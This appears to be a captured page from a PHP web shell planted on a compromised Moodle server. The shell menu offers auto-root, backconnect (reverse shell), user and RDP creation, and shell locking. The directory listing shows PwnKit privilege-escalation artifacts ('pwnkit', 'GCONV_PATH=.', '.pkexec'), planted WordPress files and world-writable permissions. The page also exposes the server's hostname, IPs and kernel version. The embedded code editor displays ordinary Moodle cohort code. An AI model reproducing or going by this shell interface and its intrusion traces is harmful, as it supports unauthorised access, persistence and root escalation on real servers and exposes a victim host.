Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cohort /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
assign.php
5.29
KB
-rwxrwxrwx
edit.php
6.95
KB
-rwxrwxrwx
edit_form.php
4.57
KB
-rwxrwxrwx
externallib.php
32.58
KB
-rwxrwxrwx
index.php
8.49
KB
-rwxrwxrwx
lib.php
22.51
KB
-rwxrwxrwx
locallib.php
4.97
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
upgrade.txt
620
B
-rwxrwxrwx
upload.php
2.83
KB
-rwxrwxrwx
upload_form.php
22.6
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : locallib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Cohort UI related functions and classes. * * @package core_cohort * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/cohort/lib.php'); require_once($CFG->dirroot . '/user/selector/lib.php'); /** * Cohort assignment candidates */ class cohort_candidate_selector extends user_selector_base { protected $cohortid; public function __construct($name, $options) { $this->cohortid = $options['cohortid']; parent::__construct($name, $options); } /** * Candidate users * @param string $search * @return array */ public function find_users($search) { global $DB; // By default wherecondition retrieves all users except the deleted, not confirmed and guest. list($wherecondition, $params) = $this->search_sql($search, 'u'); $params['cohortid'] = $this->cohortid; $fields = 'SELECT ' . $this->required_fields_sql('u'); $countfields = 'SELECT COUNT(1)'; $sql = " FROM {user} u LEFT JOIN {cohort_members} cm ON (cm.userid = u.id AND cm.cohortid = :cohortid) WHERE cm.id IS NULL AND $wherecondition"; list($sort, $sortparams) = users_order_by_sql('u', $search, $this->accesscontext); $order = ' ORDER BY ' . $sort; if (!$this->is_validating()) { $potentialmemberscount = $DB->count_records_sql($countfields . $sql, $params); if ($potentialmemberscount > $this->maxusersperpage) { return $this->too_many_results($search, $potentialmemberscount); } } $availableusers = $DB->get_records_sql($fields . $sql . $order, array_merge($params, $sortparams)); if (empty($availableusers)) { return array(); } if ($search) { $groupname = get_string('potusersmatching', 'cohort', $search); } else { $groupname = get_string('potusers', 'cohort'); } return array($groupname => $availableusers); } protected function get_options() { $options = parent::get_options(); $options['cohortid'] = $this->cohortid; $options['file'] = 'cohort/locallib.php'; return $options; } } /** * Cohort assignment candidates */ class cohort_existing_selector extends user_selector_base { protected $cohortid; public function __construct($name, $options) { $this->cohortid = $options['cohortid']; parent::__construct($name, $options); } /** * Candidate users * @param string $search * @return array */ public function find_users($search) { global $DB; // By default wherecondition retrieves all users except the deleted, not confirmed and guest. list($wherecondition, $params) = $this->search_sql($search, 'u'); $params['cohortid'] = $this->cohortid; $fields = 'SELECT ' . $this->required_fields_sql('u'); $countfields = 'SELECT COUNT(1)'; $sql = " FROM {user} u JOIN {cohort_members} cm ON (cm.userid = u.id AND cm.cohortid = :cohortid) WHERE $wherecondition"; list($sort, $sortparams) = users_order_by_sql('u', $search, $this->accesscontext); $order = ' ORDER BY ' . $sort; if (!$this->is_validating()) { $potentialmemberscount = $DB->count_records_sql($countfields . $sql, $params); if ($potentialmemberscount > $this->maxusersperpage) { return $this->too_many_results($search, $potentialmemberscount); } } $availableusers = $DB->get_records_sql($fields . $sql . $order, array_merge($params, $sortparams)); if (empty($availableusers)) { return array(); } if ($search) { $groupname = get_string('currentusersmatching', 'cohort', $search); } else { $groupname = get_string('currentusers', 'cohort'); } return array($groupname => $availableusers); } protected function get_options() { $options = parent::get_options(); $options['cohortid'] = $this->cohortid; $options['file'] = 'cohort/locallib.php'; return $options; } }
Close